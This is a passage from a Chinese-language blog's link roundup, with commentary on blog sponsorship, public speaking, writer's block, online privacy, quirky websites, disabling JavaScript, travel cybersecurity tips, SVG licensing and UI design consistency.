在最開始寫博客的時候我也不喜歡放贊助連結,就像開源一樣,大多数人的初心只是想分享,而不是為了錢,放一個贊助連結,有種背離初心的感覺。後面忘了為什麼就加上了,可能是看不少博客都有,也可能是因為更喜歡錢。我也有幻想過,如果有人給我贊助,一個月能有一杯咖啡錢,然後去免費喝上一杯也不錯,但事實是并没有贊助。我想原因大概是: </p> <ol class="org-ol"> <li>博客的曝光度很小,本來也沒几個人看,其中有贊助想法的就更少了。</li> <li>博客的內容并没有好到讓人想表達一下感謝,也是,毕竟很多時候都是自說自話,只管自己寫得開心。</li> <li>贊助也没有任何回报。</li> </ol> <p> 第 2 點應該是主要的原因。不過我本身也不是為了贊助才寫博客,有當然開心,會感到被肯定和認同;没有也无所謂,我也會繼續寫。 </p> <p> 而且如果希望得到贊助,在經濟條件允許的前提下,自己應該先去做出行動,然後慢慢影響其他人。但我之前也很少贊助獨立博客。 </p> <p> 我也有在做一些贊助,我每個月會分配 10 美元,給兩三個對我帮助很大的開發者贊助;也給常逛的 <a href="https://donate.emacs-china.org/">Emacs China</a> 捐贈過;前陣子引用了很多 <a href="https://www.themarginalian.org/">The Marginalia</a> 的內容,也贊助了一些,還有 <a href="https://webweekly.email/archive/">Web Weekly</a>。說實話,我那點贊助真的不算什麼,或許都不够他們喝杯咖啡,但只要贊助的人足够多,對他們還是能帯來一些帮助的,我也不是很有錢,些許的贊助只是想向他們表達一下感謝。 </p> <p> 關於贊助回报,我認為既然是贊助,就沒必要期待回报,贊助只是去表達自己的感謝。不過博客作者如果願意,也可以提供一些「福利」,例如冠名 (在開源項目中更常見),<a href="https://www.patreon.com/join/mtfront">投票選題</a>⋯⋯ </p> <p> 除了用金錢去贊助,如果你喜歡博客的內容,請去吿訴他們,留言、評論、發邮件、帮忙轉發擴散⋯⋯ 同樣也能給這些博主帯來鼓勵。 </p> <p> 最後,我前陣子好像也收到了一位讀者的贊助,這位讀者没有留言,所以我不太確定,但支付宝付款碼應該只在博客有,收到轉帳,我就當是贊助了。如果這位讀者你看到了,打算留言,歡迎給我發封邮件 :) 不管如何,非常感謝! </p></li> <li><p> <a href="https://protesilaos.com/commentary/2026-06-19-re-practice-for-public-speaking/">Re: how to practice for public speaking?</a> by Protesilaos </p> <p> Protesilaos 關於如何練習公開演講回復,挺喜歡 Prot 的文笔的,清晰且有見解,推薦一讀。 </p> <p> 公開演講要求兩個能力:一是清晰表達觀點的能力,可以通過持續地寫作練習;二是透過語言在人際層面與他人建立連結的能力,可以通過不斷練習演講提高,練習時錄音,不斷檢查改进。 </p> <p> 簡而言之就是用正確的方法勤加練習,熟能生巧。 </p> <details class="indent-paragraph"> <summary>全文翻譯 (by Kagi Translate)</summary> <p> <span class="underline">改變需要時間。</span><span class="underline">巨大的轉變是許多微調的結果,這些微調的累積效應最終會成為顯而易見的「新常態」。</span><span class="underline">英語中有句諺語叫「熟能生巧」(practice makes perfect),</span><span class="underline">基本上意味著你做得越多,就會對某件事越精通。</span><span class="underline">不過,你也必須留意自己具體在做什麼。</span><span class="underline">技術或方法很重要,否則你會將最初的錯誤內化為第二本能,進而變得更難糾正。</span> </p> <p> <span class="underline">具體到簡報這個主題,涉及兩項核心技能。</span><span class="underline">一是清晰表達觀點的能力;二是透過語言在人際層面與他人建立連結的能力。</span> </p> <p> <span class="underline">你可以將「清晰的表達」想像成通往某處的直達路徑。</span><span class="underline">沒有障礙,沒有分叉,沒有驚喜或干擾:它就是從 A 點到 B 點。</span><span class="underline">你透過寫作來提升這項技能 ⸺ 而且你必須持續地寫。</span><span class="underline">寫什麼並不重要,重點是選擇一個你關心的主題,並構思出至少一個有意義且相關的想法。</span>例如,你可以寫你的工作、你居住的地方、你讀過的一本書…… </p> <p> <span class="underline">寫作時,想像你正在對一個陌生人說話。</span>所以你不能只說「我喜歡這本書,因為它很好」,因為這包含了許多未知的資訊,這些資訊在你腦海中可能很清晰,但在語境中並未呈現。相反地,你必須說明原因,例如:「我喜歡這本書,因為它教會了我關於 X 的知識」。然後向不熟悉該領域的人描述 X 是什麼。 </p> <p> <span class="underline">你不需要發表你的作品或給任何人看。</span><span class="underline">但至關重要的是,你要想像這些內容是對公眾開放的。</span><span class="underline">這有助於你建立正確的心態,讓想法變得易於理解。</span> </p> <p> <span class="underline">我將清晰描述為從 A 點到 B 點且毫無阻礙。</span><span class="underline">一個常見的錯誤是過度解釋。</span>也許你這樣做是為了證明你真的知道自己在說什麼,或者你低估了對方的能力。但原因並不重要。當你過度解釋時,實際上會因為指令過於冗長而引入干擾,從而變得難以處理。核心可能仍然是「從 A 到達 B」,但這個「核心」不能被埋沒在成堆無關緊要的細節之下。 </p> <p> <span class="underline">在最初的階段,你還無法熟練地抓住重點。</span><span class="underline">只要知道一開始會有許多「無用的添加物」即可。</span><span class="underline">隨著你不斷書寫,這些東西會逐漸消失。</span>你剛讀過的內容就是一個例子。你會注意到,到目前為止,我的用詞詳盡而不輕浮:我沒有提到任何與我正在闡述的觀點無關的事情,也沒有對我引入的每個概念都進行解釋。 </p> <p> 人際溝通技巧是區分有趣演講與乏味演講的關鍵。例如,許多科學家非常擅長處理所有細節,卻不擅長製作有趣的演示。<span class="underline">這是因為他們沒有考慮到關於人類的一個基本事實:我們記得大概念,卻往往會忘記微小的細節。</span>我可以告訴你一個我小時候聽過的故事,但我已經忘記了財政部發給我的季度報告。 </p> <p> 考慮到我們掌握大概念而遺忘細節的傾向也是時間的函數。如果細節是在 30 秒內提供給我們的,我們可能有能力記住一些;但在長達 20 分鐘的技術演示過程中,我們無法將每個細節都留在腦海中。那太令人難以承受了。 </p> <p> <span class="underline">因此要明白,你是在與人交談,並且是在提出一個相對籠統的觀點。</span>即使在技術環境中也是如此。例如,科學家應該傳達他們的主要發現,而讓論文去處理數據的技術細節。<span class="underline">你想給他們的是大局觀。</span><span class="underline">這提供了足夠的信息,但又不會過於瑣碎。</span> </p> <p> <span class="underline">人們實際上需要「呼吸空間」。</span><span class="underline">你不能不停地用言語轟炸他們。</span><span class="underline">放慢自己的節奏。</span><span class="underline">在強度較高的時段之間加入簡短的停頓。</span><span class="underline">如果內容單調乏味,人們就很難辨別出模式:</span><span class="underline">他們會覺得自己進入了一個封閉的空間,無物可看,這會讓他們失去興趣。</span><span class="underline">因此,在閱讀或交談時要有意識地變換語調。</span><span class="underline">這樣你就能讓他們聽你說話,因為你保持了他們大腦的活躍。</span> </p> <p> <span class="underline">控制好呼吸,這樣你才能正確地說話並清晰地思考。</span><span class="underline">如果你不急於完成你的觀點,你就能做到這一點。</span><span class="underline">使用短句。使用逗號來強調。再次強調,慢慢來。</span>在讀最後一句話時,在逗號處停頓一下,就像「再次強調(停頓)慢慢來」。現在再讀一遍,中間不停頓,看看感覺有多彆扭。 </p> <p> <span class="underline">停頓的能力傳達了自信</span> ,因為你確實掌控了局面:你沒有恐慌,你沒有表現出你寧願待在別的地方,你沒有試圖逃跑,你也不畏懼時間。 </p> <p> 要提升這項技能,唯有透過不斷練習演說。建議你可以錄音。撰寫講稿時,請確保節奏緩慢、留有停頓,並能展現語調起伏。接著大聲朗讀並檢查錄音,重點關注發音的清晰度。只要呼吸方式正確,你就有足夠的氣量大聲說話。 </p> <p> 經過充分練習後,即使是面對未經準備的主題,你也能學會如何有效溝通,儘管這是較長期的成果。同樣地,一旦你掌握了節奏掌控,就能開始精進非語言溝通:環視全場、建立眼神交流,並展現出沉穩自信的氣場。雖然這些是後話,但你現在的目標是掌握簡報內容:確保內容詳略得當且不枯燥乏味。接著,按照我在此概述的方式,正確地將它讀出來。 </p> <p> <span class="underline">最後,請記住你所感受到的緊張是很正常的。</span><span class="underline">每個人都會如此,因為公開演說 ⸺ 尤其是條理清晰且重點精確的演說 ⸺</span><span class="underline">並非與生俱來的能力,而是透過持續練習才能精進。</span><span class="underline">請盡你所能去嘗試。</span><span class="underline">或許你現在表現得不夠完美,但隨著時間推移,你一定會進步。</span>即使你目前完全不擅長做簡報,你仍然可以為下週的演講寫一份包含我所提到的要素(如清晰的論點和合適的節奏)的講稿。 </p> <p> <span class="underline">希臘語中有一句話說:「沒有『我不能』,只有『我不想要』」。</span><span class="underline">我們強調的是努力的誠實度:真誠地嘗試,然後再決定自己是否能做到。</span><span class="underline">不要過早放棄,因為那只是你的恐懼或自滿在作祟。</span><span class="underline">當然,有些事情是無法透過練習改變的(例如我無法訓練自己長到三公尺高),但大多數事情都是可以塑造的。</span><span class="underline">抱持這種態度,一步一腳印地前進,其餘的自然會水到渠成。</span> </p> </details></li> <li><p> <a href="https://explorationsofstyle.com/2018/02/22/write-your-way-out/">Write Your Way Out</a> by Rachael Cayley </p> <p> 寫作卡売了怎麼辦,暂時不寫有用嗎? </p> <blockquote> <p> <span class="underline">一般来说,我不太愿意把常见的研究生写作困难称为写作障碍。</span><span class="underline">大多数在写作上挣扎的研究生实际上是在思考上遇到了困难。</span><span class="underline">这不仅仅是语义上的争论:我们必须准确把握到底是什么在抑制我们的写作过程才重要。</span>当我们给自己下诊断说有写作障碍时,我们可能会开始相信自己目前无法写作。<span class="underline">如果你发现自己腿痛,避免走路可能确实是个明智的策略。</span><span class="underline">如果你发现自己无法写作,避免写作会是个明智的策略吗?</span><span class="underline">这个问题的答案几乎总是否定的。</span><span class="underline">根据我的经验,不写作几乎没有治愈作用。</span>我并不是说我们不需要休息;有很多事情可以在离开书桌时做来让头脑清醒、放松思路。但当我们下定决心去工作时,写作的行为往往是解决我们思维问题的最直接方式。<span class="underline">把不可避免的写作挑战诊断为写作障碍的风险在于,如此一来可能会降低我们通过写作推进想法的机会。</span> </p> <p> <a href="https://explorationsofstyle.com/2018/02/22/write-your-way-out/#:~:text=In,forward%2E">Source</a> by Rachael Cayley </p> </blockquote> <p> 這里的寫作障碍,<a href="https://en.wikipedia.org/wiki/Writer%27s_block">在 Wikipedia 上的定義</a> 是: </p> <blockquote> <p> 寫作障礙(Writer's block)是一種非醫療狀況,主要與寫作相關,指作者無法創作出新作品或經歷創作進度大幅減緩的現象。 </p> </blockquote> <p> 總之就是一種想寫,但寫不出的狀態,是一種心理障碍。 </p> <p> Rachael Cayley 想說的是,寫作是在思考,在疏理脑子里渾沌的想法,正如我也在通過寫來讓自己理解清楚 Rachael Cayley 文章的意思。寫不出來,可能是在思考上出現了困難,難以理清想法,而寫作作為一種促进思考的手段,是有助於解决這個困難的。如果因為思考的困難而寫不出內容,而誤以為是寫作障礙 (當作是心理問題),并將其當作一個逃避思考的籍口,對本身要思考的問題是無益的。 </p> <blockquote> <p> 因此,「寫作障礙」這個概念可能會使寫作與更廣泛的知識背景脫節。<span class="underline">當我們將寫作挑戰視為心理問題而非知識問題時,我們就有可能低估了研究生寫作中所涉及的概念性工作。</span>當然,我確實遇到過一些研究生,他們對寫作的態度非常焦慮,以至於可能需要某種心理轉變才能建立有效的寫作習慣。<span class="underline">但對於大多數研究生來說,寫作受阻主要是因為難以理清自己的想法</span>(或是他們認為自己應該怎麼想,或是別人的想法,或是導師對他們想法的看法)。換句話說,他們並沒有心理障礙;他們只是在傳達複雜研究的過程中,遇到了不可避免的知識困惑。這些知識困惑是真實存在的,並可能對寫作產生不利影響。<span class="underline">但當我們將這些問題視為思維中的概念問題時,我們就創造了空間,將寫作視為解決這些問題的策略。</span><span class="underline">寫作可以從「有問題的事物」轉變為「解決問題的手段」。</span> </p> <p> <a href="https://explorationsofstyle.com/2018/02/22/write-your-way-out/#:~:text=The,problem">Source</a> </p> </blockquote> <p> 如果不是「寫作障礙」,當寫作陷入困境時反而更應該去寫,但不要給自己太多壓力,也不用去要求文字多麼精準,把能想到的都先寫寫,試試 David Perell 的 <a href="https://perell.com/note/the-islands-and-bridges-strategy/">The Islands and Bridges Strategy</a>,以一種探索性的方式去寫,最後再將零散的想法加工成結構性的観點。 </p> <p> 我寫博客也經常卡売,因為不能總結好要分享的文章的観點,本質上是對文章的理解也不透澈,然後我就會去做別的事,看視頻、網上冲浪⋯⋯也是一種逃避,如果強迫自己去寫,多少寫下來一些東西,反而可以疏理脑子里模糊的想法,讓想法慢慢清晰。散步休息也是有用的,脑子里還會想相關的內容,有時也能想明白。 </p> <p> 把這個問題再擴大一點,面對生活中的困難也是一樣的,逃避不能解决問題,嘗試做出一點行動,從中能得到一些反饋,或許就能找到解决問題的突破口。 </p> <p> 不過真的累了就去休息放鬆一下 :) </p> <p> See also: <a href="https://hamatti.org/posts/writing-about-it-approach-to-writers-block/">Writing about it - approach to writer’s block</a> by Juha-Matti Santala </p> <p> Rachael Cayley 的文章是從 Juha-Matti Santala 這看到的。 </p></li> <li><p> <a href="https://www.geedea.pro/article/online-privacy/">“现在上网哪有隐私?” - 隐私、匿名、安全和政治</a> by Eltrac </p> <p> 我也經常把匿名和 <a href="https://justinjackson.ca/communication#:~:text=Something%20ineffable%20happens%20when%20we%20choose%20to%20be%20in%20the%20same%20room%2C%20breathing%20the%20same%20air%2C%20tolerating%20the%20same%20bullshit%2E%20What%20we%20have%20been%20calling%20%E2%80%9Cpolarization%E2%80%9D%20might%2C%20in%20part%2C%20be%20a%20proximity%20issue">隠私</a> 混為一談,隱私涉及到很多東西,文章是關於互聯上的隱私,主要是 <a href="https://en.wikipedia.org/wiki/Digital_privacy">數位隱私</a>。 </p> <p> 我想,如果能够在互聯網上實現完美的匿名,那就没人能侵犯你的數位隱私了,因為无法將数字的你和現實的你關聯,對現實的你没有影响。但要做到滴水不漏是很難的,需要很多技巧,需要時刻小心翼翼,大多数人都做不到。 </p> <p> 因為很難做到完全匿名,就有途徑可以利用互聯網上的痕迹去定位、關聯一個人。在中國,大部分人都是實名上網的,寬帯、流量都要用手機號,而手機號又是和身份証關聯的。當你在互聯網上公開的信息越多,有人搜索這些信息,付出足够的努力,就可能被 <a href="https://zh.wikipedia.org/wiki/%E4%BA%BA%E8%82%89%E6%90%9C%E7%B4%A2">人肉搜索</a> 到。 </p> <p> 很多信息你未必是想公開的,例如 IP、瀏覧器信息⋯⋯ (你可以打開 <a href="https://sinceyouarrived.world/taken">taken</a>,看看光是訪問一個頁面會暴露多少信息),網站可以結合多維度的信息給訪問者生成唯一的指紋,從而標記和識別訪問者。至於網站收集後要用來做什麼就不得而知了,可能是用來阻止符合某些特征的訪問,可能是為了投廣吿⋯⋯ 有的博客評論上來就將 IP 轉換成定位,和瀏覧器信息一起展示出來,完全不會詢問用戶是否願意公開,這些也是用戶隱私的一部分,站長隨意展示這些信息,也會給人一種隱私被隨意侵犯的感覺。 </p> <p> 國內因為實名,很多應用也需要綁定手機,網絡身份和現實身份是高度綁定的,給人一種你在網絡上的行為都能被追溯到本人的感覺。數據洩露事件也時有發生,讓人感覺交出去的信息并不安全。常常也能看到一些人肉搜索,網暴的事件,似乎很容易從網絡定位到現實中的人。有這麼多負面的感受,有人說「互聯網哪有什麼隱私」,我也能理解,因為整個环境給人的感覺就是個人對隱私信息的控製力很弱。說這句話的人是在什麼樣的背景下說的,我无從而知,如果對方也能寫篇文章表達出來就好了。 </p> <p> 但這不意味著個人就無能為力了,重要的是去在意,去關心,當你在意隱私,就會找瓣法儘量去保护自己的隱私,可能是儘可能减少在網絡上公開個人信息,可能是選擇更尊重隱私的服務⋯⋯ 相比擺烂接受,去做點什麼,多少都能給自己的隱私多一些保护。 </p></li> <li><p> <a href="https://blog.jim-nielsen.com/2026/blogging-stating-the-obvious/">Blogging Can Just Be Stating The Obvious</a> by Jim Nielsen </p> <blockquote> <p> 所以,寫部落格的一個關鍵要素一定很簡單:願意陳述一些對你來說顯而易見,但卻沒有其他人說出口的事情。 </p> <p> 或者如果是由其他人說的,只需連結到他們並說:「對!!!就是這個!!!」 </p> <p> <a href="https://blog.jim-nielsen.com/2026/blogging-stating-the-obvious/#:~:text=So%20it,This%21%21%21%E2%80%9D">Source</a> </p> </blockquote> <p> 「對!!!就是這個!!!」 </p></li> <li><p> <a href="https://theconversation.com/do-you-lose-your-whole-day-to-one-appointment-waiting-mode-may-be-why-280608">Do you lose your whole day to one appointment? ‘Waiting mode’ may be why</a> by Rebecca Ellis </p> <p> 有一些悬而未决/未完成/待辦的事存在時,這些事會消耗人的精力和注意力,导致無法専注於當下的事。例如一個小時後要開始的會議、準備開始的面試、過一會有朋友要來訪、 APP 上的未讀記数、大量未讀的訂閱流⋯⋯ </p> <p> 解决辦法是: </p> <ul class="org-ul"> <li>意識到自己处於這種狀態</li> <li>有的待辦事項不必一直惦記著,記录󠄃在一個地方,然後就把它從脑中移除掉 (可以用 <a href="https://www.youtube.com/watch?v=gCswMsONkwY">GTD</a>)</li> <li>优先安排、儘早安排這些事,從而减少花在上面焦慮的時間 (長痛不如短痛)</li> <li>提前準備,像是出門、面試,如果提前準備充分,會更有掌控感,從而能釋放心靈空間</li> </ul> <p> Wiwi 的這篇 <a href="https://wiwi.blog/blog/not-knowing-is-fine/">不知道答案也沒關係</a>,也在講一些類似的問題: </p> <blockquote> <p> 換句話說,那些「還沒結案的事」會像常駐程式一樣在背景佔用記憶體、消耗電力,直到它有個了結為止。後來我們把這個現象就做「蔡加尼克效應」(Zeigarnik Effect)。 </p> <p> 現在,許多人都在用這一招操控我們!<span class="underline">他們故意講一半、製造一個懸念,讓你的大腦因為「不知道答案」而不舒服,然後心甘情願地獻出注意力。</span> </p> <p> <a href="https://wiwi.blog/blog/not-knowing-is-fine/#:~:text=%E6%8F%9B%E5%8F%A5%E8%A9%B1%E8%AA%AA,%E6%B3%A8%E6%84%8F%E5%8A%9B">Source</a> </p> </blockquote> <p> 確實看到有的文章標題故意製造懸念在那勾著你去看,进去看了又没講啥,很討厭。我也在慢慢地去控製自己點进去的冲動,忽視它們。 </p></li> <li><a href="https://blog.ikukaroom.com/adult-font/">大人字體</a> by ikuka</li> <li><p> <a href="https://blog.ikukaroom.com/tetsudo-karaoke/">去日 K 不唱日文歌?來當車掌吧!</a> by ikuka </p> <p> 不唱 K 反而在讀車掌<sup><a id="fnr.1" class="footref" href="#fn.1" role="doc-backlink">1</a></sup>廣播? 233 </p></li> <li><a href="https://yangbear.bearblog.dev/9563/">芙莉蓮的配樂</a> by YangBear</li> <li><p> <a href="https://yangbear.bearblog.dev/abehiroshi/">阿部寬的官方網頁</a> by YangBear </p> <blockquote> <p> 這個官網簡約的程度已經被日本網友拿來開玩笑說可以當成測自己網路有沒有斷線的方式,如果你連阿部寬的官網都打不開,那網路一定是出問題了。 </p> </blockquote> <p> 本來想發封邮件給 YangBear,但他没有留下可聯系的方式,也看到了他的 <a href="https://yangbear.bearblog.dev/2455/">留言與寄信</a>,大概給他 Email 的話也會有些唐突吧。 </p></li> </ul> </div> </div> <div id="outline-container-5F4F1568-924B-462F-8493-7A5DC3AAA309" class="outline-2"> <h2 id="5F4F1568-924B-462F-8493-7A5DC3AAA309"><a href="#5F4F1568-924B-462F-8493-7A5DC3AAA309">Cool Bit</a></h2> <div class="outline-text-2" id="text-5F4F1568-924B-462F-8493-7A5DC3AAA309"><ul class="org-ul"> <li><p> <a href="https://garrit.xyz/posts/2026-06-13-pac-man-but-you-re-the-ghost">Pac-Man, but you're the ghost</a> by Garrit </p> <p> 在糖豆人的游戏里操作幽灵,打敗糖豆人,倒反天罡 :P </p></li> <li><p> <a href="https://crankgpt.com/">CrankGPT</a> </p> <p> Local Human-powered AI (<a href="https://squeezlabs.github.io/handcrank/">Technical documentation</a>). </p> <p> 人力發電的 AI,看到那个左邊一群人在跑步機上跑步發電,右邊是白領在辦公室用 AI 的視頻,有點搞不清他們是認真的,還是來搞笑嘲諷的。 </p></li> <li><p> <a href="https://silverswanpostclub.neocities.org/">Silver Swan Post Club</a> </p> <blockquote> <p> 這是一份為深信 <span class="underline">信箱</span> 仍能帶來快樂的人而精心策劃的月度訂閱。在一個奔向數碼化的世界中,本俱樂部引以為傲地捍衛 <span class="underline">實體媒介與觸感紀念品</span> 的魅力,讓你隨時可以握在手中、展示、收藏,並在需要一點魔法時隨時重溫。 </p> </blockquote></li> <li><p> <a href="https://ita.toys/">ita.toys</a> </p> <p> 一個很有特色的網站。 </p></li> <li><p> <a href="https://secondlina.tumblr.com/post/785918009427542016/no-transphobes-allowed-only-transborbs-check-out">No transphobes allowed, only transborbs.</a> </p> <p> 6 月是 <a href="https://en.wikipedia.org/wiki/Pride_Month">Pride Month</a>,喜歡這幅漫畫。 </p></li> <li><p> <a href="https://garden-of-flowers.heikkilotvonen.com/">Heikki's Garden of Flowers</a> </p> <blockquote> <p> Heikki 的花園旨在成為一個涵蓋 <span class="underline">歷史與當代圖像活字印刷作品</span> 的全面目錄。 </p> </blockquote></li> <li><p> <a href="https://spacew.com/">Solar Terrestrial Dispatch</a> </p> <p> 37 Years of Space Weather Services. </p></li> <li><p> <a href="https://www.notesfromtheroad.com/desertmexico/chili-peppers.html">Chili Peppers of the World</a> </p> <p> 世界辣椒圖鑑。一份關於世界辣椒的視覺實地指南,從野生起源到栽培品種,配有 176 幅手繪辣椒插圖。 </p></li> <li><p> <a href="https://www.nts.live/">NTS</a> </p> <blockquote> <p> NTS 是一個音樂探索平台,由音樂愛好者為音樂愛好者打造。 NTS 擁有兩個 24/7 全天候播放的現場廣播頻道,以及數十萬小時由人工策劃的節目,是世界上最受推崇的音樂檔案庫之一。 </p> </blockquote></li> <li><p> <a href="https://internetphonebook.net/">Internet Phone Book</a> </p> <p> Issue two is open for submissions!! </p> <p> (ノ&gt;ω&lt;)ノ </p> <p> 之前想申請但找不到入口,現在可以申請了!不知道能不能通過,如果通過了,号碼會是多少呢? </p></li> <li><p> <a href="https://cluesbysam.com/">Clues by Sam!</a> </p> <p> 一個游戏,每張卡片上會有一些綫索,你要基於綫索推理,找出好人和坏人。之前在微信小程序上玩過類似的。 </p></li> <li><p> <a href="https://jamesg.blog/blogger-archetypes">Blogger Archetype Quiz</a> by James </p> <p> 一個小測試,看看你的博主原型是什麼,也就 10 道題,感興趣去玩玩 :) </p> <details> <summary>我的結果</summary> <p> <b>You are a Explorer</b> </p> <p> To you, the web feels like a library that's open all hours and has everything you could ever imagine! You love reading others blogs, and know how important readers are to the whole of the indie web community! </p> <p> <b>You are also a Author</b> </p> <p> You love writing and have a growing backlog of posts on your website! Words are your best friend and you're always thinking about what to write next. </p> <p> <b>Other archetypes</b> </p> <p> <b>Community gardener</b>: You love to help contribute to building the blogging community, either through your writing or how you share the spirit of writing on the web with friends. </p> <p> <b>Culture maker</b>: You love to help push the blogging community forward by starting discussions, encouraging thought, and sharing what's on your mind. </p> <p> <b>Link curator</b>: The web is not just its pages, but the connections between pages. You have internalised this and love spending your time exploring the web and sharing what you find with the world. </p> </details> <p> See also: <a href="https://jamesg.blog/microformats-quiz">Which microformat are you? [Quiz]​</a> by James </p> <details> <summary>我的結果</summary> <p> <b>You are a h-feed</b> </p> <p> The microformat that brings information together, you love reading wide and deep to learn about the world. </p> <p> <b>You are also a h-entry</b> </p> <p> An essential microformat, you love writing for and reading on the web. </p> <p> And remember, no matter what microformat you are, you are always u-awesome. </p> </details></li> <li><p> <a href="https://tokipona.org/#texts">Toki Pona (official site)</a> </p> <p> 看到 SouthFox 的 <a href="https://blog.southfox.me/2026/06/pali-open/">pali open</a>,以為是英文,但細看完全看不懂,是什麼鬼啊? </p> <p> 還好我有翻譯 (≖ᴗ≖๑) </p> <p> 翻譯後發現是一種叫 Toki Pona (道本語) 的語言,它是由 <a href="https://tokipona.org/creator">Madame Lang</a> 創造的一種人造語言 (<a href="https://tokipona.org/two_conlangs">如果你好奇為什麼有人會用道本語</a>)。 </p> <p> Toki Pona 的 <a href="https://linku.la/">基础詞彙只有 140 個左右</a>,學習應該是不難的,但也 <a href="https://tokipona.org/clarifying#fluency">需要勤加練習才能熟練使用</a>。如果你想學,<a href="https://tokipona.org/#books_div">官方的書</a> 是不錯的開始,不過它是付費的,好像也没有中文版本。你也可以看社區維护的 <a href="https://lipu-sona.pona.la/zh/">toki pona 课程</a>,也做得不錯。 </p></li> <li><p> <a href="https://screen.toys/firewood/">firewood</a> by Gavin Shapiro </p> <p> 模拟砍木头,打擊感做得挺好的,如果能用體感手柄玩體驗更好。 </p> <p> 建議邊聴 <a href="album-42.html">Album#42 - Wake Up Calls</a> 邊玩。 </p></li> </ul> </div> </div> <div id="outline-container-E7E67C69-7485-41DA-9E34-0CCEE3675926" class="outline-2"> <h2 id="E7E67C69-7485-41DA-9E34-0CCEE3675926"><a href="#E7E67C69-7485-41DA-9E34-0CCEE3675926">Tutorial | Resource</a></h2> <div class="outline-text-2" id="text-E7E67C69-7485-41DA-9E34-0CCEE3675926"><ul class="org-ul"> <li><p> <a href="https://disable-javascript.org/">Disable JavaScript</a> </p> <p> 關於如何在瀏覧器禁用 JS。 </p> <p> 我現在用 <a href="https://ublockorigin.com/">uBlock Origin</a> 默認禁用了 JS,需要時才允許。有一些網站,不允許 JS 完全没法看,那我就不看了。 </p> <p> See also: <a href="https://xn--gckvb8fzb.com/disable-javascript-org/">disable-javascript.org</a> by マリウス </p></li> <li><p> <a href="https://paletteinspiration.com/">Palette Inspiration</a> </p> <p> 从經典畫作里提煉顏色。 </p> <blockquote> <p> PaletteInspiration.com 是一個色彩智能平台,致力於研究和探索世界偉大畫家所使用的色彩。我們從文藝復興時期到現代的數千件藝術作品中提取、分析並呈現主導色板。 </p> <p> 我們的使命是讓設計師、藝術家、研究人員和好奇的人們能夠接觸到大師級藝術家的色彩智慧,彌合古典藝術史與當代創意實踐之間的鴻溝。 </p> </blockquote></li> <li><p> <a href="https://aresluna.org/key-in-sight/">Key, in sight</a> by Marcin Wichary </p> <p> 文章分享了 Marcin Wichary 定制鍵盤的一些經驗,那個只有一個按鈕的鍵盤看起來很不錯。 </p> <blockquote> <p> 所以,我想寫一個小指南,從硬件到軟件,介紹我自己是如何接觸並熟練掌握一些鍵盤技巧的。也許這對你也會有幫助? </p> <p> 這篇文章的目標是: </p> <ul class="org-ul"> <li>利用現代鍵盤和數字小鍵盤來處理一些真正實用的事務。</li> <li>從中發掘樂趣與享受。</li> <li>在波濤洶湧的港口中,成為一位沉著冷靜的嚮導。</li> </ul> <p> 如果你一直感到好奇但又望而生畏,或者如果你有一個小鍵盤或鍵盤上有一堆額外的按鍵,但不知道該拿它們怎麼辦……請繼續讀下去。 </p> <p> <a href="https://aresluna.org/key-in-sight/#highlight-reel:~:text=So%2C%20I%20wanted,start%3A">Source</a> </p> </blockquote></li> <li><p> <a href="https://aresluna.org/show-your-hands-honor/">Show your hands honor for the strange power they bring you</a> by Marcin Wichary </p> <p> 論如何設計手指友好的互動體驗。 </p> <p> 文章里有很多交互式的示例,不敢想寫一篇這樣的文章要多久。 </p></li> <li><p> <a href="https://shkspr.mobi/blog/2026/06/cybersecurity-for-the-paranoid-business-traveller/">Cybersecurity for the paranoid business traveller</a> by Terence Eden </p> <p> 個人往往會成為間諜活動、勒索或其他由國家資助攻擊的目標, Terence Eden 整理了 一些給商務旅客網絡安全建議。 </p> <details> <summary>摘录</summary> <blockquote> <p> 老兄,你只是一個獲得去異國參加會議機會的中年銷售代表。你真的認為那個年輕貌美的對象會被你那些關於中層管理的故事迷住嗎? </p> <p> 不。 </p> <p> 最好的情況是,那些照片會被用來勒索你。最壞的情況是,警方會聲稱對方未成年,並以此那樣來勒索你。 </p> <p> <a href="https://shkspr.mobi/blog/2026/06/cybersecurity-for-the-paranoid-business-traveller/#:~:text=Mate,that%20will%20be%20used%20to%20blackmail%20you">Source</a> </p> </blockquote> <blockquote> <p> 你的 IT 團隊已經為你提供了一部經過加密且有生物識別保護的手提電腦,對吧?但你真的需要那部特定的手提電腦嗎? </p> <p> 他們應該準備一部廉價的手提電腦,只放入你需要的文檔。當你回到家後,就把它丟掉。 </p> <p> 我是認真的,花 200 英鎊買一部 Chromebook 作為代價,以防止你的秘密被竊取或網絡被滲透,是非常划算的。 </p> <p> <a href="https://shkspr.mobi/blog/2026/06/cybersecurity-for-the-paranoid-business-traveller/#:~:text=Your%20IT,infiltrated">Source</a> </p> </blockquote> </details></li> </ul> </div> </div> <div id="outline-container-9FFF27C5-9FF8-4220-AD43-DB607A306E71" class="outline-2"> <h2 id="9FFF27C5-9FF8-4220-AD43-DB607A306E71"><a href="#9FFF27C5-9FF8-4220-AD43-DB607A306E71">Code Related</a></h2> <div class="outline-text-2" id="text-9FFF27C5-9FF8-4220-AD43-DB607A306E71"><ul class="org-ul"> <li><p> <a href="https://shkspr.mobi/blog/2026/06/which-copyleft-licence-is-suitable-for-an-svg/">Which Copyleft Licence is Suitable for an SVG?</a> by Terence Eden </p> <p> SVG 應該用什麼 License? 取决於將 SVG 當作什麼。 </p> <p> 如果當作圖像,適合用 Creative Commons;如果當作軟件,適合用 GPL。 </p> <p> Terence 認為 SVG 應該属於軟件,所以更適合用 GPL 相關的 License。 </p></li> <li><p> <a href="https://webkit.org/blog/18117/the-golden-rule-of-customizable-select/">The golden rule of Customizable Select</a> </p> <p> 這條黄金法則就是: 務必為你的 option 元素提供文字內容或無障礙文字屬性。 </p></li> <li><p> <a href="https://blog.jim-nielsen.com/2026/a-consistency-of-excellence/">Consistency, But in Excellence Not Appearance</a> by Jim Nielsen </p> <p> 一個常見的 UI 設計原則是一致性。但有時會過度追求表面/外觀的一致性而导致設計很乏味,Jim 認為應該多去思考設計的意圖,而不僅是外觀。 </p> <blockquote> <p> 相比之下,卓越更難系統化。它需要判斷力、品味、細心、經驗以及對語境的敏感度 ⸺ 這一切都是為了服務於意義和目的,而非表面的相似性。 </p> <p> 當你力求整個系列的一致性時,單個元素就會失去在自身條件下變得卓越和標誌性的能力。群體的一致性變成了個人卓越的上限。 </p> <p> 但如果你反其道而行之,將卓越作為每個單獨元素的目標,有趣的事情就會發生: 卓越成為了你一致性的主題。這不再是形狀和漸變的一致性,而是品質和意圖的一致性,它服務於比表面視覺效果更深層次的意義和目的。 </p> 